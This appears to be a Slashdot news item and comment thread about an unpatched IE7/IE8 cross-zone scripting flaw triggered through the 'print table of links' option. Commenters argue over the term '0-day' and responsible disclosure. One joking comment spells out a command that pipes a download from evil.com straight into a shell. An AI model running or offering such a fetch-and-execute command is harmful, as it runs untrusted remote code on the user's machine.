IE 7.0/8.0b Code Execution 0-Day Released
SecureThroughObscure writes "Security blogger and researcher Nate McFeters blogged about a 0-day exploit affecting IE7 and IE8 beta on XP that was released by noted security researcher Aviv Raff. The flaw is a 'cross-zone scripting' flaw that takes advantage of the fact that printing HTML web pages occurs in the Local Machine Zone in IE rather than in the Internet Zone. Quoting McFeters's post: 'This is currently unpatched and in all of its 0-day glory, so for the time being, beware printing using the "print table of links" option when printing web pages.' McFeters and others will be presenting at Black Hat on the link between cross-site scripting and cross-zone. Rob Carter has been hitting this hard over at his blog, pointing out cross-zone weaknesses in Azureus, uTorrent, and the Eclipse platform."
0-day? This term seems to have lots all meaning. Could we please stop using it?
The more complex the software releases become, the more complex and insidious the exploits of them become also.
The problem with socialism is that they always run out of other people's money. - Margaret Thatcher
I didn't even know that "Print table of links" was an option for printing in IE until today. My guess is that no one actually uses that feature, and this 0-day exploit affects roughly 0 people.
ÕÕ
This is proof of what I've said from the beginning -- the whole concept 'zones' in IE is stupid and pointless. Scripts should be allowed only what you allow them, period. You should be able to give permissions down to the individual site (ala NoScript) or even down to the individual script.
My blog
People still use Internet Exploder?
Take Nobody's Word For It.
I can safely say I did not know this ability even existed. (Don't hurt me! I use FireFox at home! Honest! I even brought some FF t-shirts and the laptop tote.)
"Quote me as saying I was mis-quoted." -Groucho Marx
The vuln. is probably real, but Aviv Raff notified Microsoft the day before he went public with a "treasure hunt" for this bug (celebrating Isreals 60th birthday); thus the fact that it's a 0day vuln. is entirely his doing. Way to go.
Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
Can you trigger this behavior in an onload event?
If not it's a rather useless exploit other than as a prank to pull on your secretary... "Hey Sandra... can you print out a table of links for this website?"
5 minutes later "What the F***!"
"HAHAHAHAHAHAHA... I totally got you!"
A fool throws a stone into a well and a thousand sages can not remove it.
The eclipse ide?
please select the printable version.
end sarcasm
One of our competitors trademarked the term "hypothesis". From now on, we will call them "boneheaded ideas".
Going to print the article so I can read it on the can. I'll post a response about it when I get back.
If I am understanding this feature correctly, this is precisely what Lynx has been able to do for eons. Just press the 'L' key, then if you must print it, follow up with the 'P' key. Simple.
Welcome to the 1990s, Microsoft!
Nobody is blaming Aviv for the existence of the bug. Nobody is blaming Aviv for telling people about the bug.
We *might* be blaming Aviv for telling the world, script kiddies and botnet operators alike, about this bug -before- even notifying the manufacturer of the crap product.
Nor did Aviv wait a reasonable time period for the manufacturer to admit their product's crap state and issue either A. a warning of their own (don't print links) or B. a fix, while providing full credit for discovering the bug to Aviv. Aviv could then still parade his bragging rights around, disclose the exact details, provide proof-of-concept and generally be admired for re-affirming the notion that the product is crap and telling the world in a responsible manner.
Yes, I know, in the time that Aviv would be waiting for the manufacturer to issue a warning / a fix, there could be *others* who also have figured out this vulnerability, and could be actively using it, perhaps on your computer right now! don't look! But given the odds of maybe a handful of people using this for targeted operations vs thousands of script kiddies at work, I'll take my chances with that handful of people in that time period.
Oh, and I consider 3 days to be sufficient a time period for any manufacturer to respond, so anybody who felt like showing how it sometimes takes a manufacturer YEARS before fixing things can just bugger off. I have nothing against disclosure if the manufacturer takes too long - forcing their hand may be the best thing. But having them caught off-guard and scrambling by flat-out announcing it to the world is far more irresponsible than the alternative.
imho.
I appreciate the desire to raise awareness, but there's no practical benefit to running this story other than Windows bashing. It'll get patched, the patch will probably ship on some future Tuesday given this is a feature few people use and the risk of exploitation is relatively low, and that'll be that.
In contrast, a far more dangerous bug in the openssl package used by Debian and its derivatives was discovered earlier this week, and doesn't seem to have made the Slashdot home page at all, even though it's probably relevant to a lot of the Slashdot readership and there is real action they can take to fix things. Go figure...
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
...When are we going to be able to read an article written by anyone other than some jerk-off using buzz-phrases whenever possible.
"0-day" doesn't mean a f$%^&ing thing ! There is no information being transmitted by that phrase, it is empty of any meaning and might as well be a punction mark.
I can't even find this "print table of links" feature.
The best you can do is window.print() to bring up the Print dialog. The user would have to select the "Print table of links" option manually and then print to any printer.
The more complex the software releases become, the more complex and insidious the exploits of them become also.
I'm not sure if that statement will hold up to scrutiny. If complex software is the issue, then you'd expect exploits to be consistent across platforms when comparing software of similar complexity. I haven't seen any research supporting that observation. I have seen research that says more complex software will likely contain more coding errors and potential exploits but haven't seen a correlation between software size and actual successful attacks across platforms.
The elephant in the room we ultimately end up dancing around is that we're talking about Windows exploits. The problem is not complex software, the problem is Windows complexity. And Windows API's and their relationship to the software that runs in that environment. Although not all versions of Windows are equally vulnerable, the bottom line is that security in Windows was an after thought. Bolted on rather than pervasive. It's like trying to secure a building designed for open access.
That's our life, the big wheel of shit. - The Fat Man, Blue Tango Salvage
he first time someone wants to diddle with a MySpace app and discovers that it won't work until you basically ratchet down the settings --often by hand in the advanced options--
You realize that MySpace is nothing but personal ads for child molesters, right?
If you're running apps from there... be careful
DATABASE WOW WOW
No.
I'm Rocco. I'm the +5 Funny man.
By definition, this is no longer 0-day now is it?
You feel sleepy. Close your eyes. The opinions stated above are yours. You cannot imagine why you ever felt otherwise.
In that case, I have a critical vulnerability in wget. If I, Umm, "accidentally" type wget -O- http://evil.com/ | /bin/sh, they can execute arbitrary code. PLZ2FIXKTHX.
Oh yeah? I use Internet Explorer in XP under non-admin mode in a virtualbox install on Cygwin on a virtualbox install of XP inside a Linux virtualbox install under a SELinux host!
HAH! Take that!
So I guess the Russian Business Network will now start developing malware to make printers print non stop costing companies money in paper resupplies?
Some random thoughts on this:
IE - It Executed
0 Day - 0 Productivity. Nothing works.
So It Executed 0 Day and nothing works and there was no productivity.
And ol Br'er Mac User, he jus' sits back and LAFFS!!
IE has them and they don't work, Firefox doesn't have it and it still works. I personally think the entire concept is flawed and provides no real security. It is just a UI for managing permissions, which appears to be broken more often than not. Very complicated permission schemes have always been an issue with Windows compared to the Unix world. You average desktop really just needs a few flags for permissions on each object rather than a hierarchy.
“Common sense is not so common.” — Voltaire
here
> Security blogger and researcher Nate McFeters blogged about a 0-day exploit affecting IE7 and IE8 beta on XP that was released by noted security researcher Aviv Raff ... Quoting McFeters's post: 'This is currently unpatched and in all of its 0-day glory
If he is a security researcher, then it is not a zero day or unpatched. If it is indeed a zero day and unpatched, then he is not a security researcher.
That happens because there is something called responsible disclosure and you cannot be a security researcher without that, just like you cannot be a doctor without taking Hippocrates' oath.
Every post by securethroughobscure talks about "Nate McFeters"... I didn't think Nate was the speaks-in-third-person type of individual...